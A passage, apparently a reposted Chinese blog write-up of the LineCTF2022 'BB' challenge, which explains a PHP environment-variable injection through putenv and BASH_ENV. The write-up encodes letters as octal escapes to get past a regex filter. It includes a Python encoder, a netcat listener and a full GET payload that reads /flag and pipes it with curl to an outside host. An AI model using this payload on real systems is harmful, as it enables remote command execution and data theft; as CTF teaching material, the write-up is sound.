当前位置:网站首页>[LineCTF2022]BB
[LineCTF2022]BB
2022-06-22 09:53:00 【Sk1y】
[LineCTF2022]BB
文章目录
进去之后就是源码
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){
//$s中如果存在$ptn,则返回false
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
//过滤= 过滤大小写字母
putenv("{
$k}={
$v}"); //定义环境变量
}
}
system("bash -c 'imdude'"); //这里执行了imdude,所以我们要对环境变量imdude进行操作
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
//过滤=
putenv("{
$k}");
}
}
highlight_file(__FILE__);
?>
绕过preg_match,在Linux中
$'\101' = A
第一个是八进制
ord 字符转对应的ascii
oct 十进制转八进制

然后通过[2:]从第三个字符开始截取字符串

>>> oct(ord("c"))[2:]
'143'
>>> oct(ord("a"))[2:]
'141'
>>> oct(ord("t"))[2:]
'164'

所以可以根据这个生成脚本,但是要注意空格的影响,
将空格也进行修改的话,命令执行有问题

如果不对空格进行操作,那么截断处,就要重新用$''进行闭合

所以直接将所有的字符进行单个处理

环境变量注入,参考P神的文章:我是如何利用环境变量注入执行任意命令 - 跳跳糖 (tttang.com)
import string
# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001"
str = ''
for i in cmd:
if i in string.ascii_lowercase:
j = oct(ord(i))[2:]
str += "$'\\"+j+"'"
else:
str+=i
print(str)
监听端口
nc -lvp 7001
GET传参
?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001`

0x为16进制数字的表示
\x为16进制的字符串表示
\ 为八进制的表示
50是2的ascii码对应值
0x32是十六进制表示,转为十进制就是50
\x32表示50对应的字符串,也就是"2"

比如

边栏推荐
- 三个月让软件项目成功“翻身”!
- SQL编程task04作业-集合运算
- Realize multi-user isolated FTP in AD environment
- From in MySQL_ Unixtime and UNIX_ Timestamp processing database timestamp conversion - Case
- Who says PostgreSQL has no reliable high availability (2)
- 6-32 construction of linked list by header insertion method
- VS2022连接sqlserver数据库教程
- FileZilla server prompts 550 could not open file for reading when downloading files (illustration)
- logstash中Ruby代码把@timestamp时间戳格式转换
- [cmake命令笔记]find_path
猜你喜欢

DAO 的未来:构建 web3 的组织原语

SQL编程task02作业-基础查询与排序

APM设置变桨距四旋翼控制模式

Record a time when Kali encounters vmtools button gray install vmtools

MySQL skip scan range small function to solve big problems?

Bloom filter optimization - crimsondb series of papers (I)

使用ELK保存Syslog、Netflow日志和审计网络接口流量

编译basalt时出现的报错

被曝泄露超 1.7 亿条隐私数据,学习通回应:尚未发现明确证据

VS2022连接sqlserver数据库教程
随机推荐
扎克伯格最新VR原型机来了,要让人混淆虚拟与现实的那种
一句话木马上传常见的几种方法
DAO 的未来:构建 web3 的组织原语
The ruby code in logstash converts the @timestamp timestamp format
PowerDesigner tip 2 trigger template
使用pytorch mask-rcnn进行目标检测/分割训练
Cobalt Strike 從入門到入獄(三)
Up the Strip
【深度学习】TensorFlow,危!抛弃者正是谷歌自己
[Luogu] P1083 [NOIP2012 提高组] 借教室(差分)
Read the history of it development in one breath
[popular science] to understand supervised learning, unsupervised learning and reinforcement learning
[学习笔记] 回滚莫队
[cmake命令笔记]target_compile_options
快速掌握 ASP.NET 身份认证框架 Identity - 登录与登出
Learning serialization and deserialization from unserialize3
Lexical Sign Sequence
坚决打好打赢防汛救灾这场硬仗 全力保障人民群众生命财产安全
6-43 sum of ordered sparse polynomials
拉开安全距离:国际空间站采取了主动避让太空垃圾碎片的措施